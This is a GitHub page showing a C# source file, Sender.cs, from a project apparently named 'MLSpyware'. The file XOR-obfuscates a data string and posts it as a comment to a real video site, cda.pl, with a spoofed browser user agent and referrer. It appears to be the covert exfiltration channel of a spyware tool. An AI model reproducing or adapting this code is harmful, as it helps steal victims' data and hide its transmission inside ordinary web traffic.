-
Notifications
You must be signed in to change notification settings - Fork 0
/
Sender.cs
74 lines (53 loc) · 2.1 KB
/
Sender.cs
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
using System;
using System.Collections.Generic;
using System.Threading.Tasks;
using System.Net.Http;
using System.Linq;
namespace MLSpyware
{
public class Sender
{
private string cryptdata;
string key = "";
public Sender(string data, string key)
{
this.key = key;
cryptdata = StrEncrypt(data);
}
public string StrEncrypt(string txt)
{
int[] enctoret = new int[txt.Length];
for (int i = 0; i < txt.Length; i++)
{
enctoret[i] = (txt[i] ^ key[i]);
}
return string.Join("-", enctoret.Select(x => x.ToString()).ToArray());
}
public string StrDecrypt(string txt)
{
int[] intArray = txt.Split(new[] { '-' }, StringSplitOptions.RemoveEmptyEntries).Select(int.Parse).ToArray();
for (int i = 0; i < intArray.Length - 1; i++)
{
Console.WriteLine(intArray[i]);
}
char[] enctoret = new char[intArray.Length];
for (int i = 0; i < intArray.Length; i++)
{
enctoret[i] = (char)(intArray[i] ^ key[i]);
}
return new string(enctoret);
}
public async Task<HttpResponseMessage> sendtoCDA(string videourl)
{
HttpClient client = new HttpClient();
var values = new Dictionary<string, string>
{
{ "t", cryptdata}
};
var content = new FormUrlEncodedContent(values);
client.DefaultRequestHeaders.Referrer = new Uri(videourl);
client.DefaultRequestHeaders.UserAgent.TryParseAdd(@"Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0");
return await client.PostAsync("https://www.cda.pl/a/comment", content);
}
}
}